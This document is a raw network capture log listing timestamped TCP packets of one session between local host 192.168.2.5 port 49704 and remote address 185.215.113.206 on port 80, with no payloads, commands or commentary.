Nov 22, 2024 23:06:10.254499912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.255291939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.255335093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.303580046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.303658962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.303674936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.303716898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.303931952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.304030895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.304145098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.304192066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.304894924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.304958105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.305022001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.305068016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.305720091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.305775881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.306021929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.306075096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.306076050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.306118011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.306988955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.307038069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.307121992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.307169914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.308015108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.308067083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.308281898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.308327913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.309174061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.309231043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.309529066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.309576035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.309776068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.309811115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.309823990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.309849024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.310672045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.310723066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.310800076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.310847998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.311628103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.311677933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.312220097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.312272072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.312515974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.312551975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.312562943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.312587976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.313435078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.313483000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.313610077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.313656092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.314352989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.314449072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.314515114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.314560890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.315290928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.315340042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.315665960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.315712929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.316195011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.316241026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.316796064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.316845894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.317154884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.317194939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.317202091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.317234993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.318063974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.318115950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.318308115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.318355083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.319004059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.319051981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.319956064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.319989920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.320004940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.320024967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.320025921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.320063114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.320888996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.320940971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.321290016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.321336985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.321778059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.321825981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.321829081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.321861029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.322685957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.322736025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.323103905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.323151112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.323616028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.323663950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.323724985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.323770046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.404788971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.404817104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.404927015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.405040979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.405080080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.405673981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.405725002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.405973911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.406013966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.406796932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.406840086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.406898975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.406935930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.407181025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.407208920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.407216072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.407244921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.408124924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.408169985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.408344984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.408381939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.409111023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.409148932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.409562111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.409599066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.409929991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.409967899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.528700113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.528723955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.528784990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.528820038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.529412031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.529426098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.529462099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.529474974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.648303032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.648323059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.648422956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.648881912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.648894072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.648931026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.648951054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.767810106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767834902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767847061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767858982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767878056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767889977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767904043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767915964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767927885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767925024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.767940044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767951965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767956972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.767963886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767965078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.767975092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767986059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.767993927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.767997980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768008947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768009901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768022060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768030882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768042088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768049955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768054008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768069983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768073082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768085957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768099070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768106937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768116951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768121004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768132925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768143892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768148899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768155098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768166065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768172026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768177032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768188000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768196106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768198013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768224955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768234015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768237114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768246889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768254995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768259048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768270969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768275976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768281937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768292904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768305063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768306017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768320084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768331051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768336058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768348932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768349886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768358946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768359900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768378973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768390894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768392086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768404007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768421888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768425941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768435955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768438101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768450022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768462896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768474102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768475056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768485069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768496990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768507004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768507957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768526077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768528938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768537998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768547058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768551111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768562078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768563986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768575907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768589973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768589973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768601894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768614054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768618107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768630981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768635988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768642902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768651962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768655062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768666983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768680096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768680096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768692017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768704891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768713951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768719912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768732071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768737078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768743992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768754959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768760920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768765926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768778086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768781900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768789053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768800020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768810987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768812895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768812895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768822908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768834114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768841028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768846035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768857002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768870115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768872023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768882036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768893003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768894911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768906116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768908978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768923044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768934965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768935919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768948078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768959045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768965006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.768970013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768982887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.768986940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769009113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769021988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769030094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769042015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769069910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769085884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769232988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769244909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769257069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769268990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769272089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769284010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769292116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769295931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769309044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769319057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769320965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769331932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769337893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769344091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769361973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769368887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769386053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769387007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769397020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769409895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769413948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769421101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769433022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769434929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769444942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769458055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769464016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769469023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769471884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769479990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769490957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769501925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769505978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769514084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769522905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769526005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769539118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769543886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769551039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769562960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769567966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769582987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769591093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769596100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769604921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769608021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769620895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769632101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769634008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769644022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769654989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769660950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769666910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769680023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769680977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769692898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769692898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769705057 CET	80	49704	185.215.113.206	192.168.2.5
